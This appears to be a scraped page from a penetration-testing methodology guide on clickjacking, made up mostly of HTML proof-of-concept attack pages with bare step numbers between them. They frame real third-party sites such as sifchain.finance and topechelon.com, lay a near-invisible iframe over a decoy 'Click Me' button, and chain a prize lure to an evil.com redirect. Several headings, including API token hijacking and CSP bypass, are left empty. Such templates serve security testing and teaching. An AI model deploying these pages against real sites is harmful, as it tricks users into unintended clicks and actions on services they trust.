Clickjacking
Check List
Methodology
Black Box
1
2
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>I Frame</title>
</head>
<body>
<h3>clickjacking vulnerability</h3>
<iframe src="https://target.com/" height="550px" width="700px"></iframe>
</body>
</html>3
Missing X-Frame-Options
1
2
3
<html>
<head>
<style>
iframe{
width:500px;
height:900px;
}
#http{
height:900px;
width:500px;
}
</style>
</head>
<body>
<h1>--------------------This is a malicious website-------------------</h1>
<h1>The vulnerable website:-</nn></h1>
<iframe src="https://sifchain.finance/"></iframe>
<iframe id="http" src="https://dex.sifchain.finance/#/peg"></iframe>
</body>
</html>4
UI Overlay
1
2
3
4
5
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Clickjacking PoC</title>
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.6; /* Makes the iframe invisible */
z-index: 99;
}
button {
z-index: 100;
top:400px;
position: relative;
}
h1 {
top: 300px;
position: relative;
}
</style>
</head>
<body>
<h1>Click the button for a surprise!</h1>
<button onclick="alert('Surprise!')">Click Me!</button>
<!-- Invisible iframe targeting the account deletion URL -->
<iframe id="target-frame" src="https://topechelon.com/" frameborder="0"></iframe>
<script>
document.getElementById('target-frame').onload = function() {
console.log('Iframe has loaded, ready for clickjacking.');
};
</script>
</body>
</html>6
7
8
Clickjacking To Open Redirect Chain
1
2
3
4
<!DOCTYPE html>
<html>
<head>
<style>
iframe{
width: 100%;
height: 585px;
border: none;
}
</style>
<title>Clickjacking</title>
</head>
<body>
<a onmouseover=window.open("https://evil.com") href="https://evil.com" style="z-index:1;left:900px;position:relative;top:150px;font-family: Montserrat;font-weight: 800;font-size:16px;text-transform: uppercase;color:red;text-decoration:none;font-style: normal;">
click here to win the prize </a>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-script"
style="opacity:1"
src="
https://example.com"></iframe>
</body>
</html>5
6
API Token Hijacking Through Clickjacking
1
2
3
4
5
CSP Bypass Clickjacking
1
2
3
4
5
6
7
8
White Box
Cheat Sheet
Last updated